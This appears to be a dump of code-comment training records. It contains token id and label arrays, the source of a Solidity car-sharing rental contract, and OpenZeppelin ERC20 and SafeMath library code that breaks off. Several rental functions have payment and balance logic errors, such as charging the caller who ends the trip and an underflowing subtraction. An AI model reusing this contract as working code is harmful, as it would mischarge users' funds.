8284,
203,
3639,
2583,
12,
8949,
405,
374,
16,
296,
15446,
15600,
358,
433,
345,
586,
374,
2430,
8284,
203,
3639,
2254,
5034,
1699,
1359,
273,
467,
654,
39,
3462,
12,
2316,
2934,
5965,
1359,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
10019,
203,
3639,
2583,
12,
5965,
1359,
1545,
3844,
16,
296,
6225,
1608,
358,
444,
279,
10478,
1699,
1359,
8284,
203,
3639,
2254,
5034,
14036,
273,
4604,
14667,
12,
8949,
1769,
203,
3639,
2254,
5034,
3844,
382,
273,
3844,
18,
1717,
12,
21386,
1769,
203,
3639,
2583,
12,
45,
654,
39,
3462,
12,
2316,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
382,
3631,
296,
5912,
2535,
8284,
203,
3639,
2583,
12,
45,
654,
39,
3462,
12,
2316,
2934,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
21386,
607,
6527,
1887,
3631,
14036,
3631,
296,
5912,
2535,
8284,
203,
3639,
309,
16051,
15091,
1345,
6609,
63,
2316,
5717,
288,
203,
5411,
8586,
5157,
18,
6206,
12,
2316,
1769,
203,
5411,
8586,
1345,
6609,
63,
2316,
65,
273,
638,
31,
203,
3639,
289,
203,
3639,
511,
18988,
24237,
1345,
362,
2102,
2502,
4501,
372,
24237,
1345,
362,
2102,
273,
1147,
14638,
863,
63,
2316,
15533,
203,
3639,
309,
261,
2
]
|
pragma solidity >=0.4.22 <0.6.0;
pragma experimental ABIEncoderV2;
import "./RoleManager.sol";
import "./TokenManager.sol";
contract CommunitySplit
{
mapping (uint64 => offer[10000]) endTimeMap; //only Date, 0 means no endTime
mapping (uint64 => uint256) public mapindex; //all indices of end time map, = length
RoleManager roleManager;
TokenManager tokenManager;
// mapping(address => bool) firstTimeAdded; //checks if authority if added for the first time to not create multiple tokens for one address
//int64[] indices;
mapping (address => user) public usermap; //can rent or subrent objects
uint256 currentID; //used to generate Ids
/**
//Voting and On-Chain Governance Section
vote proposal; //Voting proposal, only one at one time
address lastProposed; //Authorities can not propose more than one time in a row to prevent spamming
uint256 authorityCounter; //How many autohrities are in the network?
struct vote
{
address proposedAuthority;
uint256 PositiveVotesReceived;
uint256 NegativeVotesRecived;
string description; //a description of the votedAddress
mapping (address => bool) hasVoted; //has the authority at that address already voted?
}
*/
//Verifier Section
//calling neccessary modifiers to implement the trip logic from the subclass
//Every role issue not directly related to trips is exclusively handeled in the subclass
modifier onlyVerifiedDriver(uint8 objectType) {
require (roleManager.isVerifiedDriver(msg.sender, objectType) == true);
_;
}
modifier onlyVerifiedCarOwner() {
require (roleManager.isVerifiedOwner(msg.sender) == true);
_;
}
modifier onlyVerifiers()
{
require (roleManager.isVerifier(msg.sender) == true);
_;
}
modifier onlyWithoutDebt()
{
require (tokenManager.hasDebt(msg.sender) == 0);
_;
}
modifier onlyAuthorities()
{
require (roleManager.isAuthority(msg.sender) == true);
_;
}
struct offer //offer cant be reserved while its started
{
address carOwnerAddress;
uint64 startTime;
uint64 endDate; //repeat to let the client know
uint32 endTime; //hours - was added by 1000 to ensure 0000 is not possible
uint64 latpickupLocation;
uint64 longpickupLocation;
uint64[10] latPolygons;
uint64[10] longPolygons;
// uint32 dropoffRange; //DropoffRange, depricated
//uint64 latdropofflocation; //center of polygons, depricated
//uint64 longdropOffLocation; //center of polygons, depricated
address reservedAdress; //Address of the reserved Trip, if address == owner means that trip got deleted -> not needed anymore
bool reserved; //Is a trip reserved?
uint256 reservedBlockNumber; //BlockNumber when a trip got reserved
uint256 maxReservedAmount; //max amount of reservation time allowed in blocknumbers
uint256 started; //Block number of start time, 0 by default -> acts as a bool check
uint256 userDemandsEnd; //Block number of end demand
uint256 index; //index in the mapping
uint256 id; //Uid of the trip
uint256 price; //price in tokens per block (5 secs)
uint8 objectType; //car, charging station, ...
string model; //further information like BMW i3, Emmy Vesper, can be also used to present a more accurat pciture to the user in the app
}
struct user
{
uint balance; //needs to be changed to tokens
bool reserved; //did the user reserve a trip? -> maybe increase to a limit
bool started; //did the user start a trip?
uint8 rating; //Review Rating for that user from 1-5 on Client side
uint256 ratingCount; //how often has this user been rated? Used to calculate rating
mapping(address => bool) hasRatingRight; //checks if user has the right to give a 1-5 star rating for a trip (1 right for each ended trip)
}
constructor(string memory description) public {
roleManager = new RoleManager(msg.sender); //creating a new instance of a subcontract in the parent class
tokenManager = new TokenManager();
tokenManager.createNewToken(msg.sender,description); //Genesis Token/ First Token
// authorities[msg.sender] = true;
// verifiers[msg.sender] = true;
// authorityTokens[msg.sender] = new CommunityToken(100, msg.sender, description, description); //generates new CommunityToken for that authority
}
//authorities who want to interact with the On Chain Governance need the address of the created local instance of the RoleManager contract
function getRoleManagerAddress() public view returns(address)
{
return address(roleManager);
}
function getTokemManagerAddress() public view returns(address)
{
return address(tokenManager);
}
//after an authority is voted in it has the right to create at most one token for itself
function createNewToken(string memory description) public onlyAuthorities
{
tokenManager.createNewToken(msg.sender, description);
}
//Initializes first authority when contract is created
//ReservationSection
//Checks if object can be reservated by anyone right now, true is it can get reservated
function getIsReservable(uint64 endTime, uint256 index) public view returns (bool)
{
if(endTimeMap[endTime][index].reserved == false) //Even when the users status gets changed from reserved too started after starting a trip, the trip status actually is reserved and started at the same time
return true;
if(block.number - endTimeMap[endTime][index].reservedBlockNumber > endTimeMap[endTime][index].maxReservedAmount) //did i miss started trips?
return true;
return false;
}
//Object needs to be freem user needs to be verifired and cant have other reservations
function reserveTrip(uint64 endTime, uint256 index) public onlyVerifiedDriver( endTimeMap[endTime][index].objectType) onlyWithoutDebt
{
require(usermap[msg.sender].reserved == false);
//***************else: emit already reserved Trip event***************
require(getIsReservable(endTime, index) == true);
//***************else: emit already reserved by somone else event ***************
// require(usermap[msg.sender].balance > 1000); //require minimum balance *************change ERC20*****************
require(tokenManager.getTotalBalanceOfUser(msg.sender) > 50*endTimeMap[endTime][index].price); //armim around 4 mins worth of balance
usermap[msg.sender].reserved = true;
endTimeMap[endTime][index].reserved = true;
endTimeMap[endTime][index].reservedAdress = msg.sender;
endTimeMap[endTime][index].reservedBlockNumber = block.number;
//***************emit Reservation successful event***************
// tokenManager.blockOtherPaymentsOfUser(msg.sender, endTimeMap[endTime][index].carOwnerAddress); //give allowance instead?
}
//canceling trip is only possible if user reserved the trip but did not start it yet
function cancelReserve(uint64 endTime, uint256 index) public
{
if(endTimeMap[endTime][index].reservedAdress == msg.sender && endTimeMap[endTime][index].started == 0)
{
endTimeMap[endTime][index].reserved = false;
usermap[msg.sender].reserved = false;
//***************emit Reservation cancel successful event***************
// tokenManager.unblockOtherPaymentsOfUser(msg.sender);
}
//***************emit Reservation cancel not successful event***************
}
//start and end Trip section
function startTrip(uint64 endTime, uint256 index) public onlyWithoutDebt
{
require(endTimeMap[endTime][index].reservedAdress == msg.sender && endTimeMap[endTime][index].started == 0);
require(usermap[msg.sender].started == false); //user can only have 1 started trip
// require(usermap[msg.sender].balance > 1000); //require minimum balance *************change ERC20*****************
require(tokenManager.getTotalBalanceOfUser(msg.sender) > 50*endTimeMap[endTime][index].price); //user should have atleast enough balance for 50*5seconds -> around 4mins, minimum trip length
require(tokenManager.getHasTotalAllowance(msg.sender) == true);
//emit tripStart(tripAddress, tripKey, msg.sender, block.number);
tokenManager.blockOtherPaymentsOfUser(msg.sender, endTimeMap[endTime][index].carOwnerAddress); //user gets blocked to make transactions to other addresses
endTimeMap[endTime][index].started = block.number;
usermap[msg.sender].started = true;
}
//only callable by Renter
function demandEndTrip(uint64 endTime, uint256 index) public
{
require(endTimeMap[endTime][index].reservedAdress == msg.sender && endTimeMap[endTime][index].started != 0);
require(usermap[msg.sender].started == true); //safety check, shouldnt be neccessarry to check
require(endTimeMap[endTime][index].userDemandsEnd == 0);
endTimeMap[endTime][index].userDemandsEnd = block.number;
}
//only callable by Renter
function userForcesEndTrip(uint64 endTime, uint256 index) public
{
require(endTimeMap[endTime][index].reservedAdress == msg.sender && endTimeMap[endTime][index].started != 0);
require(usermap[msg.sender].started == true); //safety check, shouldnt be neccessarry to check
require(block.number > endTimeMap[endTime][index].userDemandsEnd+3); //authority has 3 blocks time to answer to endDemand request
contractEndsTrip(endTime, index);
}
//only callable by carOwner if user wants to end the trip
function confirmEndTrip(uint64 endTime, uint256 index) public
{
require(endTimeMap[endTime][index].carOwnerAddress == msg.sender && endTimeMap[endTime][index].started != 0);
require(endTimeMap[endTime][index].userDemandsEnd != 0);
contractEndsTrip(endTime, index);
}
function rejectEndTrip(uint64 endTime, uint256 index) public
{
require(endTimeMap[endTime][index].carOwnerAddress == msg.sender && endTimeMap[endTime][index].started != 0);
require(endTimeMap[endTime][index].userDemandsEnd != 0);
endTimeMap[ endTime][index].userDemandsEnd = 0;
endTimeMap[endTime][index].userDemandsEnd = 0;
//probably best to add an event and parse a string reason in parameters to state and explain why trip end was rejected
}
//On long rentals car owner can call this function to ensure sufficient balance from the user -> maybe dont use that function, just tell the user and add debt
function doubtBalanceEnd(uint64 endTime, uint256 index) public
{
require(endTimeMap[endTime][index].carOwnerAddress == msg.sender && endTimeMap[endTime][index].started != 0);
//**************ERC20*********** if balance is not sufficient, renter can end contract
require(tokenManager.getTotalBalanceOfUser(msg.sender) > 10*endTimeMap[endTime][index].price); //if user has less than 50seconds worth of balance then the owner can forceEnd the trip to prevent failure of payment
contractEndsTrip(endTime, index);
//Alternative: automatically end trips after certain amount and require user to rebook trips
}
function contractEndsTrip (uint64 endTime, uint256 index) internal
{
//*****************************ERC20Payment, out of money(?)**************************************
tokenManager.handlePayment(block.number - endTimeMap[endTime][index].started,endTimeMap[endTime][index].price, msg.sender, endTimeMap[endTime][index].carOwnerAddress); //handle payment with elapsed time,´price of trip, from and to address
if(tokenManager.hasDebt(msg.sender) == 0)
tokenManager.unblockOtherPaymentsOfUser(msg.sender); //only unblocks user if the user managed to pay the full amount
usermap[msg.sender].started = false;
usermap[msg.sender].hasRatingRight[endTimeMap[endTime][index].carOwnerAddress] = true;
address def;
endTimeMap[endTime][index].reservedAdress = def; //-> prob adress(0)
endTimeMap[endTime][index].reserved = false;
endTimeMap[endTime][index].started = 0;
endTimeMap[endTime][index].userDemandsEnd = 0;
}
//returns the maxiumum amount of blocks the user can still rent the device before he/she runs out of balance
function getMaxRamainingTime(uint64 endTime, uint256 index) public view returns (uint256)
{
require(endTimeMap[endTime][index].started != 0);
uint256 currentPrice = (block.number - endTimeMap[endTime][index].started)*endTimeMap[endTime][index].price;
uint256 userBalance = tokenManager.getTotalBalanceOfUser(endTimeMap[endTime][index].reservedAdress);
uint256 theoreticalBalanceLeft = currentPrice -userBalance;
return theoreticalBalanceLeft/endTimeMap[endTime][index].price;
}
//User has a rating right for each ended trip
function rateTrip(address ownerAddress, uint8 rating) public
{
require(usermap[msg.sender].hasRatingRight[ownerAddress] == true);
require(rating > 0);
require(rating < 6);
usermap[ownerAddress].rating += rating;
usermap[ownerAddress].ratingCount++;
usermap[msg.sender].hasRatingRight[ownerAddress] = false;
}
//Offer trip section
//endTime needs to be added by 1000 to make 0000 not possible
function offerTrip(uint64 startTime, uint32 endTime, uint64 endDate, uint64 latpickupLocation, uint64 longpickupLocation, uint256 price, uint64[10] memory latPolygons, uint64[10] memory longPolygons, uint256 maxReservedAmount, uint8 objectType, string memory model ) public onlyVerifiedCarOwner()
{
offer memory tempOffer;
tempOffer.startTime = startTime;
tempOffer.endTime = endTime;
tempOffer.endDate = endDate;
tempOffer.latpickupLocation = latpickupLocation;
tempOffer.longpickupLocation = longpickupLocation;
tempOffer.carOwnerAddress = msg.sender;
// tempOffer.id = id; //maybe id should be set for the user to avoid collisions
tempOffer.id = currentID; //setting id for the user
currentID++;
tempOffer.price = price;
tempOffer.latPolygons = latPolygons;
tempOffer.longPolygons = longPolygons;
tempOffer.maxReservedAmount = maxReservedAmount;
tempOffer.objectType = objectType;
tempOffer.model = model;
endTimeMap[endDate][mapindex[endDate]] = tempOffer;
mapindex[endDate]++;
}
//Change Trip details Section
function updateCarLocation(uint64 endTime, uint256 index, uint64 newlat, uint64 newlong) public onlyVerifiedCarOwner
{
require(endTimeMap[endTime][index].carOwnerAddress == msg.sender);
require(endTimeMap[endTime][index].reserved == false);
endTimeMap[endTime][index].longpickupLocation = newlong;
endTimeMap[endTime][index].latpickupLocation = newlat;
}
function updateCarPrice(uint64 endTime, uint256 index, uint256 price) public onlyVerifiedCarOwner
{
require(endTimeMap[endTime][index].carOwnerAddress == msg.sender);
require(endTimeMap[endTime][index].reserved == false);
endTimeMap[endTime][index].price = price;
}
//needs to be tested -> worked in test
function deleteTrip(uint64 endTime, uint256 index) public
{
require(endTimeMap[endTime][index].reserved == false);
require(endTimeMap[endTime][index].carOwnerAddress == msg.sender);
endTimeMap[endTime][index] = endTimeMap[endTime][mapindex[endTime]-1];
delete endTimeMap[endTime][mapindex[endTime]-1];
mapindex[endTime]--;
// endTimeMap[endTime][index] = endTimeMap[endTime][endTimeMap[endTime].length -1]; //copy last element to the position which should be deleted //only works with dynamic arrays
// delete endTimeMap[endTime][endTimeMap[endTime].length -1]; //delete last element
}
//Get Trip Information Section
function getTrip(uint64 endDate, uint256 index) public view returns(offer memory) //offer[] memory
{
return endTimeMap[endDate][index]; //maybe mapindex has to be set to allow client to refind the trip -> probably better to set this client side when looping
}
function getIndex(uint64 endTime) public view returns (uint256) //returns length of that array
{
return mapindex[endTime];
}
//index +1 to make 0 distinguishable -no item found
function getTripID(uint64 endTime, uint32 id, uint256 startindex) public view returns(uint256 index)
{
for(uint256 i = startindex; i<= mapindex[endTime]; i++)
{
if(endTimeMap[endTime][i].carOwnerAddress == msg.sender && endTimeMap[endTime][i].id == id)
{
return i+1;
}
}
}
/**
function testGetTokenBalance(bool option) public view returns (uint256)
{
if(option == false)
{
return authorityTokens[msg.sender].totalSupply();
}
else{
address def;
return authorityTokens[def].totalSupply();
}
}
*/
}
| user should have atleast enough balance for 50*5seconds -> around 4mins, minimum trip length
| require(tokenManager.getTotalBalanceOfUser(msg.sender) > 50*endTimeMap[endTime][index].price); | 2,486,343 | [
1,
1355,
1410,
1240,
20098,
7304,
11013,
364,
1381,
6260,
7572,
317,
6740,
1059,
1154,
87,
16,
5224,
20654,
769,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2583,
12,
2316,
1318,
18,
588,
5269,
13937,
951,
1299,
12,
3576,
18,
15330,
13,
405,
6437,
14,
409,
950,
863,
63,
409,
950,
6362,
1615,
8009,
8694,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\upgrades\contracts\Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
// File: @openzeppelin\contracts-ethereum-package\contracts\math\SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\utils\Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin\contracts-ethereum-package\contracts\token\ERC20\SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
